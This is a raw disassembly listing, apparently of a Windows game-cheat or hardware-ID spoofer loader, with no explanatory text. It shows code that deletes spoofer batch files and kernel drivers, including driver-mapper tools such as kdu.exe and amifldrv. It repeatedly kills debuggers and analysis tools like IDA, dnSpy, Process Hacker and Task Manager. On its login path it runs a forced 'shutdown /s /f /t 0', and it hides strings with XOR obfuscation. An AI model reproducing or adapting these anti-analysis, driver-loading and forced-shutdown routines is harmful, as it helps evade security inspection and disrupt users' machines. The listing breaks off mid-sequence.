lea rcx, str.C:WindowsSystemFAKEUDMAPPER.bat
call fcn.14029da10
lea rcx, [0x14037b348]
call fcn.14029da10
lea rcx, str.C:WindowsSystem_bif.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystemEACF.bat
call fcn.14029da10
lea rcx, [0x14037a428]
call fcn.14029da10
lea rcx, [0x14037a2e0]
call fcn.14029da10
lea rcx, str.C:WindowsSystemFAKEBATCHFILETOREPLACE.bat
call fcn.14029da10
lea rcx, [0x14037b790]
call fcn.14029da10
lea rcx, [0x14037b558]
call fcn.14029da10
lea rcx, [0x14037b600]
call fcn.14029da10
lea rcx, [0x14037b770]
call fcn.14029da10
lea rcx, [0x14037b400]
call fcn.14029da10
lea rcx, [0x14037b4b0]
call fcn.14029da10
lea rcx, [0x14037ace0]
call fcn.14029da10
lea rcx, [0x14037ad90]
call fcn.14029da10
lea rcx, [0x14037ae48]
call fcn.14029da10
lea rcx, [0x14037aef8]
call fcn.14029da10
lea rcx, [0x14037afb0]
call fcn.14029da10
lea rcx, [0x14037a2e0]
call fcn.14029da10
lea rcx, str.C:WindowsSystemmdriVe.sys
call fcn.14029da10
lea rcx, [0x14037b790]
call fcn.14029da10
lea rcx, str.C:WindowsSystemmdriVedriner.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemcr.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemcr2.bat
call fcn.14029da10
lea rcx, [0x14037aef8]
call fcn.14029da10
lea rcx, str.C:WindowsSystemVPN.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystemen_USpcrner.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystem_acm.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystemen_USMAS_1.5_AIO_CRC32_21D20776.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemen_US_tdc.bat
call fcn.14029da10
lea rcx, str.C:Program_FilesWindows_Mail_nxt.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemP4.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemP6.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemP6.bat
call fcn.14029da10
lea rcx, [0x14037ba58]
call fcn.14029da10
lea rcx, str.C:WindowsSystemFN.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemDMR.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemDMR1.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemD1.sys
call fcn.14029da10
lea rcx, str.C:WindowsSystemmdriVe.sys
call fcn.14029da10
lea rcx, str.C:WindowsSystemUD.sys
call fcn.14029da10
lea rcx, str.C:WindowsSystemmdriVedriner.bat
call fcn.14029da10
lea rcx, [0x14037b558]
call fcn.14029da10
lea rcx, [0x14037aef8]
call fcn.14029da10
lea rcx, str.C:WindowsSystem2NDmcer.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemP4.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemP6.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystem_nxt.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystem_nxtHWIDCHEKERhehe.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemBSODTASKPROSSES.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemdeletemetounspoof.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemdcws.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemen.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemFIM.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemDN.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemBT.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemVT.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemen_USFNAPCOCR.bat
call fcn.14029da10
lea rcx, [0x14037afb0]
call fcn.14029da10
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoD1.sys
call fcn.14029da10
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoTRYANCRACKATUROWNRISKBOZOMAPPER.exe
call fcn.14029da10
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDMR1.bat
call fcn.14029da10
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSt.sys
call fcn.14029da10
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodDv.sys
call fcn.14029da10
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoTRYANCRACKATUROWNRISKBOZOMAPPER.exe
call fcn.14029da10
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDMR.bat
call fcn.14029da10
lea rcx, str.C:Program_FilesCommon_FilesSystem_adomdriVe.sys
call fcn.14029da10
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoTRYANCRACKATUROWNRISKBOZOMAPPER.exe
call fcn.14029da10
lea rcx, str.C:Program_FilesCommon_FilesSystem_adomdriVedriner.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemRNDMIZEKmr.bat
call fcn.14029da10
lea rcx, [0x14037ba58]
call fcn.14029da10
lea rcx, str.C:WindowsSystemRNDMIZEKmr.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemRNDMIZEK.sys
call fcn.14029da10
lea rcx, [0x14037b790]
call fcn.14029da10
lea rcx, str.C:WindowsSystemRNDMIZEKmr.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemRNDMIZEKmr.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystem32Mobo.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystem32_amifldrv64.sys
call fcn.14029da10
lea rcx, str.C:WindowsSystem32_amifldrv32.sys
call fcn.14029da10
lea rcx, str.C:Windows_nfLauncher.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystemmdriVe.sys
call fcn.14029da10
lea rcx, [0x14037b790]
call fcn.14029da10
lea rcx, str.C:WindowsSystemmdriVedriner.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemDSKNXTSERIALSSPOOFING.sys
call fcn.14029da10
lea rcx, str.C_:Program_FilesCommon_FilesSystem_adoNWDM4DK.bat
call fcn.14029da10
lea rcx, [0x14037ba58]
call fcn.14029da10
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_BSODTASKPROSSES.bat
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:WindowsSystemBSODTASKPROSSES.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystem32Mobo.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystem32_amifldrv64.sys
call fcn.14029da10
lea rcx, str.C:WindowsSystem32_amifldrv32.sys
call fcn.14029da10
lea rcx, str.C:Windows_nfLauncher.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystemmdriVe.sys
call fcn.14029da10
lea rcx, [0x14037b790]
call fcn.14029da10
lea rcx, str.C:WindowsSystemmdriVedriner.bat
call fcn.14029da10
lea rcx, [0x14037aef8]
call fcn.14029da10
lea rcx, str.C:WindowsSystem2NDmcer.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemP4.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemP6.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemmdriVe.sys
call fcn.14029da10
lea rcx, [0x14037b790]
call fcn.14029da10
lea rcx, str.C:WindowsSystemmdriVedriner.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemdd12.sys
call fcn.14029da10
lea rcx, str.C:WindowsSystemDMinty2.bat
call fcn.14029da10
lea rcx, [0x14037b790]
call fcn.14029da10
lea rcx, str.C:WindowsSystemen_USWISVERISON.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemCODVAULECHANGER.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemcc.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemALLVLMDRIVES.bat
call fcn.14029da10
lea rcx, [0x14037a2e0]
call fcn.14029da10
lea rcx, [0x14037a428]
call fcn.14029da10
lea rcx, [0x14037b348]
call fcn.14029da10
lea rcx, [0x14037a2e0]
call fcn.14029da10
lea rcx, str.C:WindowsSystemFAKEBATCHFILETOREPLACE.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemF4KEB4TCHFILETOR3PLAC3.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemFAK3BATCHFAK3FILETOREPLAC3.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemFAK3BATCHFAK3FILETOREPLACR.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemFAK3BATCHFAK3FILETOREPLACRR.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemFAK3BATCHFAK3FILETOREPLACRR4.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemFAK3BATCHFILETOREPLAC3.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemFAKEBATCHFILETOREPLACE.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemFAK3BATCHFAK3FILETOREPLACRR12.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemFAK3BATCHFAK3FILETOREPLACRR13.bat
call fcn.14029da10
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:WindowsSystemen_USmcer.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemen_US2NDmcer.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemen_USP4.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemen_USP6.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemen_USen.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemen_USFIM.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemen_USDN.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemen_USBT.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemen_USVT.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemMobo.exe
call fcn.14029da10
lea rcx, [0x14037ad90]
call fcn.14029da10
lea rcx, [0x14037afb0]
call fcn.14029da10
lea rcx, str.C:WindowsSystemMobo.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystemMobo.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystemMobo.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystemMobo.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystem_amifldrv32.sys
call fcn.14029da10
lea rcx, str.C:WindowsSystemAKEUDMAPPER.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystem_amifldrv64.sys
call fcn.14029da10
lea rcx, str.C:WindowsSystemRNDMIZEK.sys
call fcn.14029da10
lea rcx, str.C:WindowsSystemAKEUDMAPPER.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemUD.sys
call fcn.14029da10
lea rcx, [0x14037b790]
call fcn.14029da10
lea rcx, str.C:WindowsSystem_acm.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystemcolbact.dll
call fcn.14029da10
lea rcx, str.C:WindowsSysteminstallDriver.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemkdu.exe
call fcn.14029da10
lea rcx, [0x14037b790]
call fcn.14029da10
lea rcx, str.C:WindowsSystemSt.sys
call fcn.14029da10
lea rcx, [0x14037b7e8]
call fcn.14029da10
lea rcx, str.C:WindowsSystemDriverMapperSpoofyy.bat.bat
call fcn.14029da10
lea rcx, [0x14037b838]
call fcn.14029da10
lea rcx, [0x14037b870]
call fcn.14029da10
lea rcx, [0x14037b790]
call fcn.14029da10
lea rcx, [0x14037b558]
call fcn.14029da10
lea rcx, [0x14037b400]
call fcn.14029da10
lea rcx, [0x14037b4b0]
call fcn.14029da10
lea rcx, [0x14037b8f8]
call fcn.14029da10
lea rcx, [0x14037ae48]
call fcn.14029da10
lea rcx, [0x14037b770]
call fcn.14029da10
lea rcx, [0x14037ace0]
call fcn.14029da10
lea rcx, [0x14037ad90]
call fcn.14029da10
lea rcx, [0x14037aef8]
call fcn.14029da10
lea rcx, [0x14037b600]
call fcn.14029da10
lea rcx, str.C:WindowsSystemd.bat
call fcn.14029da10
lea rcx, [0x14037b558]
call fcn.14029da10
lea rcx, str.C:WindowsSystemFIXEDV2.bat
call fcn.14029da10
lea rcx, [0x14037ace0]
call fcn.14029da10
lea rcx, [0x14037ad90]
call fcn.14029da10
lea rcx, [0x14037b400]
call fcn.14029da10
lea rcx, [0x14037b348]
call fcn.14029da10
lea rcx, [0x14037b400]
call fcn.14029da10
lea rcx, [0x14037aef8]
call fcn.14029da10
lea rcx, [0x14037b4b0]
call fcn.14029da10
lea rcx, [0x14037b9c0]
call fcn.14029da10
lea rcx, [0x14037b770]
call fcn.14029da10
lea rcx, [0x14037ace0]
call fcn.14029da10
lea rcx, [0x14037b8f8]
call fcn.14029da10
lea rcx, [0x14037b9e0]
call fcn.14029da10
lea rcx, [0x14037ae48]
call fcn.14029da10
lea rcx, str.C:WindowsSystemAMIFLDRV64.EXE
call fcn.14029da10
lea rcx, [0x14037b348]
call fcn.14029da10
lea rcx, [0x14037b790]
call fcn.14029da10
lea rcx, str.C:WindowsSystemSt.sys
call fcn.14029da10
lea rcx, [0x14037b7e8]
call fcn.14029da10
lea rcx, str.C:WindowsSystemDriverMapperSpoofyy.bat.bat
call fcn.14029da10
lea rcx, [0x14037b838]
call fcn.14029da10
lea rcx, [0x14037b870]
call fcn.14029da10
lea rcx, [0x14037b790]
call fcn.14029da10
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.1400db810
call fcn.1400db810
call fcn.1400db810
call fcn.1400db810
call fcn.1400db810
lea rcx, str.________FASTER_LOBBYS___REMOVE_YOUR_200_PING__
call fcn.1400d97d0
mov eax, dword [rsi + 0x20c]
cmp eax, 4
jne 0x14008c364
call fcn.1400b3240
addss xmm0, dword [0x1403849d0]
call fcn.1400b32f0
lea rcx, str.Username:
call fcn.1400d97d0
movaps xmm1, xmm7
movss xmm6, dword [0x1403849ec]
movaps xmm0, xmm6
call fcn.1400b3110
lea rdx, [rsi + 0x1da]
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8d, [r9 + 0x32]
lea rcx, str.Usernameupgrade
call fcn.1400dd290
lea rcx, str.New_License:
call fcn.1400d97d0
movaps xmm1, xmm7
movaps xmm0, xmm6
call fcn.1400b3110
lea rdx, [rsi + 0x1a8]
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
mov r9d, 0x8000
mov r8d, reloc.WLDAP32.dll_Ordinal_50
lea rcx, str.Licenseupgrade
call fcn.1400dd290
mov eax, dword [rsi + 0x20c]
movss xmm6, dword [0x1403849e4]
cmp eax, 2
jne 0x14008c60b
call fcn.1400db860
call fcn.1400db860
call fcn.1400db860
movaps xmm1, xmm7
movaps xmm0, xmm6
call fcn.1400b3110
lea rcx, str.Username:
call fcn.1400d97d0
movaps xmm1, xmm7
xorps xmm0, xmm0
call fcn.1400b3110
lea r12, [rsi + 0x168]
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8d, [r9 + 0xe]
mov rdx, r12
lea rcx, str.Usernamereg
call fcn.1400dd290
call fcn.1400db860
movaps xmm1, xmm7
movaps xmm0, xmm6
call fcn.1400b3110
lea rcx, str.Password:
call fcn.1400d97d0
movaps xmm1, xmm7
xorps xmm0, xmm0
call fcn.1400b3110
lea r14, [rsi + 0x176]
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
mov r9d, 0x8000
mov r8d, reloc.WLDAP32.dll_Ordinal_50
mov rdx, r14
lea rcx, str.Passwordreg
call fcn.1400dd290
call fcn.1400db860
movaps xmm1, xmm7
movaps xmm0, xmm6
call fcn.1400b3110
mov dword [rbp - 0x60], 0xc8c3e588
mov dword [rbp - 0x5c], 0xcaddc3c9
mov word [rbp - 0x58], Ordinal_143
mov byte [rbp - 0x56], 1
lea rcx, [rbp - 0x60]
call fcn.1400806f0
mov rcx, rax
call fcn.1400d97d0
movaps xmm1, xmm7
xorps xmm0, xmm0
call fcn.1400b3110
mov dword [rbp - 0x60], 0xc8c78889
mov word [rbp - 0x5c], 0xd7
mov byte [rbp - 0x5a], 1
lea r15, [rsi + 0x136]
lea rcx, [rbp - 0x60]
call fcn.140080690
mov rcx, rax
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8d, [r9 + 0x32]
mov rdx, r15
call fcn.1400dd290
movss xmm2, dword [0x140384a18]
movss xmm1, dword [0x140384a24]
lea rcx, [rbp]
call fcn.140078e00
lea rcx, [rbp]
call fcn.1400b3270
movss xmm8, dword [0x1403849c8]
movaps xmm2, xmm8
movss xmm1, dword [0x1403849e8]
lea rcx, [rbp - 0x40]
call fcn.140078e00
mov dword [rbp], 0xc4cbcef8
mov dword [rbp + 4], 0xc3d5dbdd
mov word [rbp + 8], 0x100
lea rcx, [rbp]
call fcn.1400806c0
mov rcx, rax
lea rdx, [rbp - 0x40]
call fcn.1400da5b0
test al, al
je 0x14008c5a1
mov rdx, r14
lea rcx, [rbp + 0x40]
call fcn.140077890
mov rcx, rax
call fcn.140078bd0
mov r13, rax
lea rcx, [rbp + 0x40]
call fcn.1400777a0
mov rdx, r12
lea rcx, [rbp + 0x80]
call fcn.140077890
mov rcx, rax
call fcn.140078bd0
mov rdi, rax
lea rcx, [rbp + 0x80]
call fcn.1400777a0
mov rdx, r12
lea rcx, [rbp + 0x60]
call fcn.140077890
mov rcx, rax
call fcn.140077780
movzx ebx, al
lea rcx, [rbp + 0x60]
call fcn.1400777a0
test bl, bl
je 0x14008cb10
lea rdx, str.No_Username_
lea rcx, [rsi + 0x60]
call fcn.140077c10
xor edx, edx
lea rcx, str.warn
call fcn.1400b4100
xor r13d, r13d
call fcn.1400b3210
addss xmm0, dword [0x140384a3c]
movaps xmm1, xmm7
call fcn.1400b3110
lea rcx, [rbp]
call fcn.1400b31c0
movss xmm0, dword [rax]
movss dword [0x1403eccf8], xmm0
movss xmm1, dword [rax + 4]
movss dword [0x1403eccfc], xmm1
movaps xmm2, xmm8
movss xmm1, dword [0x1403849e8]
lea rcx, [rbp - 0x40]
call fcn.140078e00
lea rdx, [rbp - 0x40]
lea rcx, str.Backlog1
call fcn.1400da5b0
test al, al
je 0x14008c60b
mov dword [rsi + 0x20c], 3
movss xmm8, dword [0x1403849c4]
cmp dword [rsi + 0x20c], 3
jne 0x14008ccce
movaps xmm2, xmm6
movss xmm6, dword [0x1403849ac]
movaps xmm1, xmm6
lea rcx, [rbp - 0x40]
call fcn.140078e00
lea rcx, [rbp - 0x40]
call fcn.1400b3270
lea rcx, str.Enter_Your_User_:
call fcn.1400d97d0
movaps xmm1, xmm7
xorps xmm0, xmm0
call fcn.1400b3110
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8d, [r9 + 0x32]
lea rdx, [rsi + 0xd2]
lea rcx, str.User
call fcn.1400dd290
movss xmm2, dword [0x1403849fc]
movaps xmm1, xmm6
lea rcx, [rbp]
call fcn.140078e00
lea rcx, [rbp]
call fcn.1400b3270
lea rcx, str.Enter_Your_Pass_:
call fcn.1400d97d0
movaps xmm1, xmm7
xorps xmm0, xmm0
call fcn.1400b3110
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
mov r9d, 0x8000
mov r8d, reloc.WLDAP32.dll_Ordinal_50
lea rdx, [rsi + 0x104]
lea rcx, str.Password
call fcn.1400dd290
call fcn.1400db860
movaps xmm2, xmm8
movss xmm6, dword [0x140384a1c]
movaps xmm1, xmm6
lea rcx, [rbp - 0x60]
call fcn.140078e00
lea rdx, [rbp - 0x60]
lea rcx, str.Loginlog2
call fcn.1400da5b0
test al, al
je 0x14008cc95
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr__C:WindowsSystem32_shutdown__s__t_0
call fcn.14029e458
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr__C:WindowsSystem32_shutdown__s__f__t_0
call fcn.14029e458
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:ProgramDataMicrosoftWindowsStart_MenuProgramsProcess_Hacker_2.exe
call fcn.14029da10
lea rcx, str.C:ProgramDataMicrosoftWindowsStart_MenuProgramsprocesshacker.exe
call fcn.14029da10
lea rcx, str.C:processhacker.exe
call fcn.14029da10
lea rcx, str.C:Process_Hacker_2.exe
call fcn.14029da10
lea rcx, str.C:Process_Hacker_2
call fcn.14029da10
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
